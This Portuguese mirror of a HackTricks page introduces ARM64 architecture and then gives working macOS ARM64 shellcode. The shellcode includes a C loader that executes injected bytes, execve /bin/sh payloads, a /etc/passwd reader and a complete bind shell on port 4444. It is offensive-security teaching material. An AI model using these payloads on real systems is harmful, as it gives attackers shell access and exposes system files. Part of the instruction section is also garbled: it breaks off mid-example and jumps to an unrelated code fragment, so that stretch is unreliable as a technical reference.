mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-27 13:33:37 +00:00
581 lines
32 KiB
Markdown
581 lines
32 KiB
Markdown
# Introdução ao ARM64v8
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
- Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
- Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
- **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
## **Níveis de Exceção - EL (ARM64v8)**
|
|
|
|
Na arquitetura ARMv8, os níveis de execução, conhecidos como Níveis de Exceção (ELs), definem o nível de privilégio e as capacidades do ambiente de execução. Existem quatro níveis de exceção, variando de EL0 a EL3, cada um servindo a um propósito diferente:
|
|
|
|
1. **EL0 - Modo de Usuário**:
|
|
- Este é o nível com menos privilégios e é usado para executar código de aplicativos regulares.
|
|
- Aplicativos em execução em EL0 são isolados uns dos outros e do software do sistema, aumentando a segurança e estabilidade.
|
|
2. **EL1 - Modo Kernel do Sistema Operacional**:
|
|
- A maioria dos kernels de sistemas operacionais é executada neste nível.
|
|
- EL1 tem mais privilégios que EL0 e pode acessar recursos do sistema, mas com algumas restrições para garantir a integridade do sistema.
|
|
3. **EL2 - Modo Hypervisor**:
|
|
- Este nível é usado para virtualização. Um hipervisor em execução em EL2 pode gerenciar vários sistemas operacionais (cada um em seu próprio EL1) em um mesmo hardware físico.
|
|
- EL2 fornece recursos para isolamento e controle dos ambientes virtualizados.
|
|
4. **EL3 - Modo Monitor Seguro**:
|
|
- Este é o nível mais privilegiado e é frequentemente usado para inicialização segura e ambientes de execução confiáveis.
|
|
- EL3 pode gerenciar e controlar acessos entre estados seguros e não seguros (como inicialização segura, SO confiável, etc.).
|
|
|
|
O uso desses níveis permite gerenciar de forma estruturada e segura diferentes aspectos do sistema, desde aplicativos de usuário até o software do sistema mais privilegiado. A abordagem da ARMv8 aos níveis de privilégio ajuda a isolar efetivamente diferentes componentes do sistema, aumentando assim a segurança e robustez do sistema.
|
|
|
|
## **Registradores (ARM64v8)**
|
|
|
|
ARM64 possui **31 registradores de propósito geral**, rotulados de `x0` a `x30`. Cada um pode armazenar um valor de **64 bits** (8 bytes). Para operações que requerem apenas valores de 32 bits, os mesmos registradores podem ser acessados em um modo de 32 bits usando os nomes w0 a w30.
|
|
|
|
1. **`x0`** a **`x7`** - Geralmente são usados como registradores temporários e para passar parâmetros para sub-rotinas.
|
|
- **`x0`** também carrega os dados de retorno de uma função.
|
|
2. **`x8`** - No kernel Linux, `x8` é usado como o número de chamada do sistema para a instrução `svc`. **No macOS, o x16 é o utilizado!**
|
|
3. **`x9`** a **`x15`** - Mais registradores temporários, frequentemente usados para variáveis locais.
|
|
4. **`x16`** e **`x17`** - **Registradores de Chamada Intra-procedural**. Registradores temporários para valores imediatos. Também são usados para chamadas de função indiretas e stubs PLT (Procedure Linkage Table).
|
|
- **`x16`** é usado como o **número de chamada do sistema** para a instrução **`svc`** no **macOS**.
|
|
5. **`x18`** - **Registrador de Plataforma**. Pode ser usado como um registrador de propósito geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para bloco de ambiente de thread atual no Windows, ou para apontar para a estrutura de tarefa atualmente **em execução no kernel Linux**.
|
|
6. **`x19`** a **`x28`** - Estes são registradores salvos pelo chamador. Uma função deve preservar os valores desses registradores para seu chamador, então eles são armazenados na pilha e recuperados antes de retornar ao chamador.
|
|
7. **`x29`** - **Ponteiro de Frame** para acompanhar o frame da pilha. Quando um novo frame de pilha é criado porque uma função é chamada, o registro **`x29`** é **armazenado na pilha** e o endereço do **novo** ponteiro de frame (endereço **`sp`**) é **armazenado neste registro**.
|
|
- Este registro também pode ser usado como um **registro de propósito geral**, embora geralmente seja usado como referência para **variáveis locais**.
|
|
8. **`x30`** ou **`lr`** - **Registrador de Link**. Mantém o **endereço de retorno** quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada, armazenando o valor de **`pc`** neste registro.
|
|
- Também pode ser usado como qualquer outro registro.
|
|
9. **`sp`** - **Ponteiro de Pilha**, usado para acompanhar o topo da pilha.
|
|
- o valor de **`sp`** deve sempre ser mantido pelo menos em um **alinhamento de quadword** ou uma exceção de alinhamento pode ocorrer.
|
|
10. **`pc`** - **Contador de Programa**, que aponta para a próxima instrução. Este registro só pode ser atualizado por meio de gerações de exceção, retornos de exceção e branches. As únicas instruções comuns que podem ler este registro são instruções de branch com link (BL, BLR) para armazenar o endereço de **`pc`** no **`lr`** (Registrador de Link).
|
|
11. **`xzr`** - **Registrador Zero**. Também chamado de **`wzr`** em sua forma de registro de **32** bits. Pode ser usado para obter facilmente o valor zero (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando os dados resultantes em nenhum lugar (em **`xzr`**).
|
|
|
|
Os registradores **`Wn`** são a versão de **32 bits** dos registradores **`Xn`**.
|
|
|
|
### Registradores SIMD e de Ponto Flutuante
|
|
|
|
Além disso, existem outros **32 registradores de comprimento de 128 bits** que podem ser usados em operações otimizadas de dados múltiplos de instrução única (SIMD) e para realizar aritmética de ponto flutuante. Eles são chamados de registradores Vn, embora também possam operar em **64** bits, **32** bits, **16** bits e **8** bits e, nesse caso, são chamados de **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
|
|
|
|
### Registradores do Sistema
|
|
|
|
**Existem centenas de registradores do sistema**, também chamados de registradores de propósito especial (SPRs), que são usados para **monitorar** e **controlar** o **comportamento dos processadores**.\
|
|
Eles só podem ser lidos ou definidos usando as instruções especiais dedicadas **`mrs`** e **`msr`**.
|
|
|
|
Os registradores especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados durante engenharia reversa. O sufixo `EL0` indica a **exceção mínima** da qual o registro pode ser acessado (neste caso, EL0 é a exceção regular (privilégio) nível em que programas regulares são executados).\
|
|
Eles são frequentemente usados para armazenar o **endereço base da região de armazenamento local de thread** na memória. Geralmente, o primeiro é legível e gravável para programas em execução em EL0, mas o segundo pode ser lido em EL0 e gravado em EL1 (como kernel).
|
|
|
|
- `mrs x0, TPIDR_EL0 ; Ler TPIDR_EL0 em x0`
|
|
- `msr TPIDR_EL0, X0 ; Escrever x0 em TPIDR_EL0`
|
|
|
|
### **PSTATE**
|
|
|
|
**PSTATE** contém vários componentes de processo serializados no registrador especial visível pelo sistema operacional **`SPSR_ELx`**, sendo X o **nível de permissão da exceção acionada** (isso permite recuperar o estado do processo quando a exceção termina).\
|
|
Esses são os campos acessíveis:
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (724).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
- As bandeiras de condição **`N`**, **`Z`**, **`C`** e **`V`**:
|
|
- **`N`** significa que a operação resultou em um número negativo
|
|
- **`Z`** significa que a operação resultou em zero
|
|
- **`C`** significa que a operação foi realizada
|
|
- **`V`** significa que a operação resultou em um estouro assinado:
|
|
- A soma de dois números positivos resulta em um número negativo.
|
|
- A soma de dois números negativos resulta em um número positivo.
|
|
- Na subtração, quando um número negativo grande é subtraído de um número positivo menor (ou vice-versa), e o resultado não pode ser representado dentro da faixa do tamanho de bit fornecido.
|
|
|
|
{% hint style="warning" %}
|
|
Nem todas as instruções atualizam essas bandeiras. Algumas como **`CMP`** ou **`TST`** o fazem, e outras que têm um sufixo **s** como **`ADDS`** também o fazem.
|
|
{% endhint %}
|
|
|
|
- A **bandeira de largura de registro atual (`nRW`)**: Se a bandeira mantiver o valor 0, o programa será executado no estado de execução AArch64 quando retomado.
|
|
- O **Nível de Exceção Atual (`EL`)**: Um programa regular em execução em EL0 terá o valor 0
|
|
- A bandeira de **passo único (`SS`)**: Usada por depuradores para passo único, definindo a bandeira SS como 1 dentro de **`SPSR_ELx`** por meio de uma exceção. O programa executará um passo e emitirá uma exceção de passo único.
|
|
- A bandeira de estado de exceção ilegal (`IL`): É usada para marcar quando um software privilegiado executa uma transferência de nível de exceção inválida, essa bandeira é definida como 1 e o processador aciona uma exceção de estado ilegal.
|
|
- As bandeiras **`DAIF`**: Essas bandeiras permitem que um programa privilegiado mascare seletivamente certas exceções externas.
|
|
- Se **`A`** for 1, significa que **abortos assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção de Hardware Externas** (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs).
|
|
- As bandeiras de seleção de ponteiro de pilha (`SPS`): Programas privilegiados em execução em EL1 e acima podem alternar entre usar seu próprio registrador de ponteiro de pilha e o do modelo de usuário (por exemplo, entre `SP_EL1` e `EL0`). Essa troca é feita escrevendo no registrador especial **`SPSel`**. Isso não pode ser feito a partir de EL0.
|
|
|
|
## **Convenção de Chamada (ARM64v8)**
|
|
|
|
A convenção de chamada ARM64 especifica que os **primeiros oito parâmetros** de uma função são passados nos registradores **`x0` a `x7`**. **Parâmetros adicionais** são passados na **pilha**. O valor de retorno é passado de volta no registrador **`x0`**, ou também em **`x1`** se for de **128 bits**. Os registradores **`x19`** a **`x30`** e **`sp`** devem ser **preservados** em chamadas de função.
|
|
|
|
Ao ler uma função em assembly, procure o **prólogo e epílogo da função**. O **prólogo** geralmente envolve **salvar o ponteiro de frame (`x29`)**, **configurar um novo ponteiro de frame** e **alocar espaço na pilha**. O **epílogo** geralmente envolve **restaurar o ponteiro de frame salvo** e **retornar** da função.
|
|
|
|
### Convenção de Chamada em Swift
|
|
|
|
Swift tem sua própria **convenção de chamada** que pode ser encontrada em [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
|
|
|
## **Instruções Comuns (ARM64v8)**
|
|
|
|
As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, onde **`opcode`** é a **operação** a ser realizada (como `add`, `sub`, `mov`, etc.), **`dst`** é o **registrador de destino** onde o resultado será armazenado, e **`src1`** e **`src2`** são os **registradores de origem**. Valores imediatos também podem ser usados no lugar dos registradores de origem.
|
|
|
|
- **`mov`**: **Mover** um valor de um **registrador** para outro.
|
|
- Exemplo: `mov x0, x1` — Isso move o valor de `x1` para `x0`.
|
|
- **`ldr`**: **Carregar** um valor da **memória** para um **registrador**.
|
|
- Exemplo: `ldr x0, [x1]` — Isso carrega um valor da localização de memória apontada por `x1` para `x0`.
|
|
- **`str`**: **Armazenar** um valor de um **registrador** na **memória**.
|
|
- Exemplo: `str x0, [x1]` — Isso armazena o valor em `x0` na localização de memória apontada por `x1`.
|
|
- **`ldp`**: **Carregar Par de Registradores**. Esta instrução **carrega dois registradores** de **locais de memória consecutivos**. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador.
|
|
- Exemplo: `ldp x0, x1, [x2]` — Isso carrega `x0` e `x1` das localizações de memória em `x2` e `x2 + 8`, respectivamente.
|
|
- **`stp`**: **Armazenar Par de Registradores**. Esta instrução **armazena dois registradores** em **locais de memória consecutivos**. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador.
|
|
- Exemplo: `stp x0, x1, [x2]` — Isso armazena `x0` e `x1` nas localizações de memória em `x2` e `x2 + 8`, respectivamente.
|
|
- **`add`**: **Adicionar** os valores de dois registradores e armazenar o resultado em um registrador.
|
|
- Sintaxe: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
|
- Xn1 -> Destino
|
|
- Xn2 -> Operando 1
|
|
- Xn3 | #imm -> Operando 2 (registrador ou imediato)
|
|
- \[shift #N | RRX] -> Realiza deslocamento ou chama RRX
|
|
- Exemplo: `add x0,
|
|
```armasm
|
|
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
|
|
```
|
|
{% endcode %}
|
|
|
|
3. **Retorno**: `ret` (retorna o controle para o chamador usando o endereço no registrador de link)
|
|
|
|
## Estado de Execução AARCH32
|
|
|
|
O Armv8-A suporta a execução de programas de 32 bits. **AArch32** pode ser executado em um dos **dois conjuntos de instruções**: **`A32`** e **`T32`** e pode alternar entre eles via **`interworking`**.\
|
|
Programas **privilegiados** de 64 bits podem agendar a **execução de programas de 32 bits** executando uma transferência de nível de exceção para o 32 bits de menor privilégio.\
|
|
Observe que a transição de 64 bits para 32 bits ocorre com uma redução do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o **bit 4 do** registro especial **`SPSR_ELx`** **para 1** quando o thread do processo `AArch32` está pronto para ser executado e o restante de `SPSR_ELx` armazena os programas **`AArch32`** CPSR. Em seguida, o processo privilegiado chama a instrução **`ERET`** para que o processador faça a transição para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR**.**
|
|
|
|
O **`interworking`** ocorre usando os bits J e T do CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Isso basicamente se traduz em definir o **bit mais baixo como 1** para indicar que o conjunto de instruções é T32.\
|
|
Isso é configurado durante as **instruções de ramificação de interworking**, mas também pode ser configurado diretamente com outras instruções quando o PC é definido como o registro de destino. Exemplo:
|
|
|
|
Outro exemplo:
|
|
```armasm
|
|
_start:
|
|
.code 32 ; Begin using A32
|
|
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
|
|
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
|
|
|
|
.code 16:
|
|
mov r0, #0
|
|
mov r0, #8
|
|
```
|
|
### Registros
|
|
|
|
Existem 16 registros de 32 bits (r0-r15). De r0 a r14 podem ser usados para qualquer operação, no entanto, alguns deles são geralmente reservados:
|
|
|
|
- `r15`: Contador de programa (sempre). Contém o endereço da próxima instrução. No A32, atual + 8, no T32, atual + 4.
|
|
- `r11`: Ponteiro de quadro
|
|
- `r12`: Registro de chamada intra-procedural
|
|
- `r13`: Ponteiro de pilha
|
|
- `r14`: Registro de link
|
|
|
|
Além disso, os registros são copiados em **registros bancários**. Que são locais que armazenam os valores dos registros permitindo realizar **trocas de contexto rápidas** no tratamento de exceções e operações privilegiadas para evitar a necessidade de salvar e restaurar manualmente os registros toda vez. Isso é feito **salvando o estado do processador do `CPSR` para o `SPSR`** do modo do processador para o qual a exceção é tomada. No retorno da exceção, o **`CPSR`** é restaurado do **`SPSR`**.
|
|
|
|
### CPSR - Registro de Status do Programa Atual
|
|
|
|
No AArch32, o CPSR funciona de forma semelhante ao **`PSTATE`** no AArch64 e também é armazenado em **`SPSR_ELx`** quando uma exceção é tomada para restaurar posteriormente a execução:
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (725).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Os campos são divididos em alguns grupos:
|
|
|
|
- Registro de Status do Programa de Aplicação (APSR): Flags aritméticas e acessíveis a partir do EL0
|
|
- Registros de Estado de Execução: Comportamento do processo (gerenciado pelo SO).
|
|
|
|
#### Registro de Status do Programa de Aplicação (APSR)
|
|
|
|
- As flags **`N`**, **`Z`**, **`C`**, **`V`** (assim como no AArch64)
|
|
- A flag **`Q`**: É definida como 1 sempre que ocorre **saturação de inteiro** durante a execução de uma instrução aritmética de saturação especializada. Uma vez definida como **`1`**, ela manterá o valor até ser manualmente definida como 0. Além disso, não há nenhuma instrução que verifique seu valor implicitamente, deve ser feito lendo-o manualmente.
|
|
- Flags **`GE`** (Maior ou igual): É usada em operações SIMD (Instrução Única, Dados Múltiplos), como "adição paralela" e "subtração paralela". Essas operações permitem processar vários pontos de dados em uma única instrução.
|
|
|
|
Por exemplo, a instrução **`UADD8`** **adiciona quatro pares de bytes** (de dois operandos de 32 bits) em paralelo e armazena os resultados em um registro de 32 bits. Em seguida, **define as flags `GE` no `APSR`** com base nesses resultados. Cada flag GE corresponde a uma das adições de byte, indicando se a adição para esse par de bytes **transbordou**.
|
|
|
|
A instrução **`SEL`** usa essas flags GE para realizar ações condicionais.
|
|
|
|
#### Registros de Estado de Execução
|
|
|
|
- Os bits **`J`** e **`T`**: **`J`** deve ser 0 e se **`T`** for 0, o conjunto de instruções A32 é usado e, se for 1, o T32 é usado.
|
|
- Registro de Estado de Bloco IT (`ITSTATE`): São os bits de 10 a 15 e 25 a 26. Eles armazenam condições para instruções dentro de um grupo prefixado por **`IT`**.
|
|
- Bit **`E`**: Indica a **ordem dos bytes**.
|
|
- Bits de Modo e Máscara de Exceção (0-4): Determinam o estado de execução atual. O quinto indica se o programa é executado como 32 bits (1) ou 64 bits (0). Os outros 4 representam o **modo de exceção atualmente em uso** (quando ocorre uma exceção e está sendo tratada). O número definido indica a **prioridade atual** no caso de outra exceção ser acionada enquanto esta está sendo tratada.
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
- **`AIF`**: Certas exceções podem ser desativadas usando os bits **`A`**, `I`, `F`. Se **`A`** for 1, significa que **abortos assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção de Hardware** externas (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs).
|
|
|
|
## macOS
|
|
|
|
### Chamadas de Sistema BSD
|
|
|
|
Confira [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). As chamadas de sistema BSD terão **x16 > 0**.
|
|
|
|
### Armadilhas Mach
|
|
|
|
Confira [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html). As armadilhas Mach terão **x16 < 0**, então você precisa chamar os números da lista anterior com um **sinal de menos**: **`_kernelrpc_mach_vm_allocate_trap`** é **`-10`**.
|
|
|
|
Você também pode verificar **`libsystem_kernel.dylib`** em um desmontador para descobrir como chamar essas chamadas de sistema (e BSD):
|
|
```bash
|
|
# macOS
|
|
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
|
|
|
# iOS
|
|
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
|
|
```
|
|
{% hint style="success" %}
|
|
Às vezes é mais fácil verificar o código **descompilado** de **`libsystem_kernel.dylib`** do que verificar o **código-fonte** porque o código de várias chamadas de sistema (BSD e Mach) é gerado por meio de scripts (verifique os comentários no código-fonte), enquanto na dylib você pode encontrar o que está sendo chamado.
|
|
{% endhint %}
|
|
|
|
### Shellcodes
|
|
|
|
Para compilar:
|
|
```bash
|
|
as -o shell.o shell.s
|
|
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
|
|
|
# You could also use this
|
|
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
|
```
|
|
Para extrair os bytes:
|
|
```bash
|
|
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
|
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
|
echo -n '\\x'$c
|
|
done
|
|
```
|
|
<details>
|
|
|
|
<summary>Código C para testar o shellcode</summary>
|
|
```c
|
|
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
|
// gcc loader.c -o loader
|
|
#include <stdio.h>
|
|
#include <sys/mman.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
|
|
int (*sc)();
|
|
|
|
char shellcode[] = "<INSERT SHELLCODE HERE>";
|
|
|
|
int main(int argc, char **argv) {
|
|
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
|
|
|
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
|
|
|
|
if (ptr == MAP_FAILED) {
|
|
perror("mmap");
|
|
exit(-1);
|
|
}
|
|
printf("[+] SUCCESS: mmap\n");
|
|
printf(" |-> Return = %p\n", ptr);
|
|
|
|
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
|
|
printf("[+] SUCCESS: memcpy\n");
|
|
printf(" |-> Return = %p\n", dst);
|
|
|
|
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
|
|
|
|
if (status == -1) {
|
|
perror("mprotect");
|
|
exit(-1);
|
|
}
|
|
printf("[+] SUCCESS: mprotect\n");
|
|
printf(" |-> Return = %d\n", status);
|
|
|
|
printf("[>] Trying to execute shellcode...\n");
|
|
|
|
sc = ptr;
|
|
sc();
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
</details>
|
|
|
|
#### Shell
|
|
|
|
Retirado de [**aqui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e explicado.
|
|
|
|
{% tabs %}
|
|
{% tab title="com adr" %}
|
|
```armasm
|
|
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
|
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
|
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
|
|
|
|
_main:
|
|
adr x0, sh_path ; This is the address of "/bin/sh".
|
|
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
|
|
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
|
mov x16, #59 ; Move the execve syscall number (59) into x16.
|
|
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
|
|
|
sh_path: .asciz "/bin/sh"
|
|
```
|
|
{% endtab %}
|
|
|
|
{% tab title="com pilha" %}
|
|
```armasm
|
|
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
|
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
|
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
|
|
|
|
_main:
|
|
; We are going to build the string "/bin/sh" and place it on the stack.
|
|
|
|
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
|
|
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
|
|
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
|
|
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
|
|
|
|
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
|
|
|
|
; Prepare arguments for the execve syscall.
|
|
|
|
mov x1, #8 ; Set x1 to 8.
|
|
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
|
|
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
|
|
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
|
|
|
; Make the syscall.
|
|
|
|
mov x16, #59 ; Move the execve syscall number (59) into x16.
|
|
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
|
|
|
```
|
|
#### Ler com cat
|
|
|
|
O objetivo é executar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, então o segundo argumento (x1) é um array de parâmetros (o que na memória significa uma pilha de endereços).
|
|
```armasm
|
|
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
|
.global _main ; Declare a global symbol _main
|
|
.align 2 ; Align the beginning of the following code to a 4-byte boundary
|
|
|
|
_main:
|
|
; Prepare the arguments for the execve syscall
|
|
sub sp, sp, #48 ; Allocate space on the stack
|
|
mov x1, sp ; x1 will hold the address of the argument array
|
|
adr x0, cat_path
|
|
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
|
|
adr x0, passwd_path ; Get the address of "/etc/passwd"
|
|
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
|
|
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
|
|
|
|
adr x0, cat_path
|
|
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
|
|
mov x16, #59 ; Load the syscall number for execve (59) into x8
|
|
svc 0 ; Make the syscall
|
|
|
|
|
|
cat_path: .asciz "/bin/cat"
|
|
.align 2
|
|
passwd_path: .asciz "/etc/passwd"
|
|
```
|
|
#### Invocar comando com sh a partir de um fork para que o processo principal não seja encerrado
|
|
```armasm
|
|
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
|
.global _main ; Declare a global symbol _main
|
|
.align 2 ; Align the beginning of the following code to a 4-byte boundary
|
|
|
|
_main:
|
|
; Prepare the arguments for the fork syscall
|
|
mov x16, #2 ; Load the syscall number for fork (2) into x8
|
|
svc 0 ; Make the syscall
|
|
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
|
|
beq _loop ; If not child process, loop
|
|
|
|
; Prepare the arguments for the execve syscall
|
|
|
|
sub sp, sp, #64 ; Allocate space on the stack
|
|
mov x1, sp ; x1 will hold the address of the argument array
|
|
adr x0, sh_path
|
|
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
|
|
adr x0, sh_c_option ; Get the address of "-c"
|
|
str x0, [x1, #8] ; Store the address of "-c" as the second argument
|
|
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
|
|
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
|
|
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
|
|
|
|
adr x0, sh_path
|
|
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
|
|
mov x16, #59 ; Load the syscall number for execve (59) into x8
|
|
svc 0 ; Make the syscall
|
|
|
|
|
|
_exit:
|
|
mov x16, #1 ; Load the syscall number for exit (1) into x8
|
|
mov x0, #0 ; Set exit status code to 0
|
|
svc 0 ; Make the syscall
|
|
|
|
_loop: b _loop
|
|
|
|
sh_path: .asciz "/bin/sh"
|
|
.align 2
|
|
sh_c_option: .asciz "-c"
|
|
.align 2
|
|
touch_command: .asciz "touch /tmp/lalala"
|
|
```
|
|
#### Shell de ligação
|
|
|
|
Shell de ligação em [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) na **porta 4444**
|
|
```armasm
|
|
.section __TEXT,__text
|
|
.global _main
|
|
.align 2
|
|
_main:
|
|
call_socket:
|
|
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
|
|
mov x16, #97
|
|
lsr x1, x16, #6
|
|
lsl x0, x1, #1
|
|
mov x2, xzr
|
|
svc #0x1337
|
|
|
|
// save s
|
|
mvn x3, x0
|
|
|
|
call_bind:
|
|
/*
|
|
* bind(s, &sockaddr, 0x10)
|
|
*
|
|
* struct sockaddr_in {
|
|
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
|
|
* sa_family_t sin_family; // AF_INET = 2
|
|
* in_port_t sin_port; // 4444 = 0x115C
|
|
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
|
|
* char sin_zero[8]; // Don't care
|
|
* };
|
|
*/
|
|
mov x1, #0x0210
|
|
movk x1, #0x5C11, lsl #16
|
|
str x1, [sp, #-8]
|
|
mov x2, #8
|
|
sub x1, sp, x2
|
|
mov x2, #16
|
|
mov x16, #104
|
|
svc #0x1337
|
|
|
|
call_listen:
|
|
// listen(s, 2)
|
|
mvn x0, x3
|
|
lsr x1, x2, #3
|
|
mov x16, #106
|
|
svc #0x1337
|
|
|
|
call_accept:
|
|
// c = accept(s, 0, 0)
|
|
mvn x0, x3
|
|
mov x1, xzr
|
|
mov x2, xzr
|
|
mov x16, #30
|
|
svc #0x1337
|
|
|
|
mvn x3, x0
|
|
lsr x2, x16, #4
|
|
lsl x2, x2, #2
|
|
|
|
call_dup:
|
|
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
|
|
mvn x0, x3
|
|
lsr x2, x2, #1
|
|
mov x1, x2
|
|
mov x16, #90
|
|
svc #0x1337
|
|
mov x10, xzr
|
|
cmp x10, x2
|
|
bne call_dup
|
|
|
|
call_execve:
|
|
// execve("/bin/sh", 0, 0)
|
|
mov x1, #0x622F
|
|
movk x1, #0x6E69, lsl #16
|
|
movk x1, #0x732F, lsl #32
|
|
movk x1, #0x68, lsl #48
|
|
str x1, [sp, #-8]
|
|
mov x1, #8
|
|
sub x0, sp, x1
|
|
mov x1, xzr
|
|
mov x2, xzr
|
|
mov x16, #59
|
|
svc #0x1337
|
|
```
|
|
#### Shell reverso
|
|
|
|
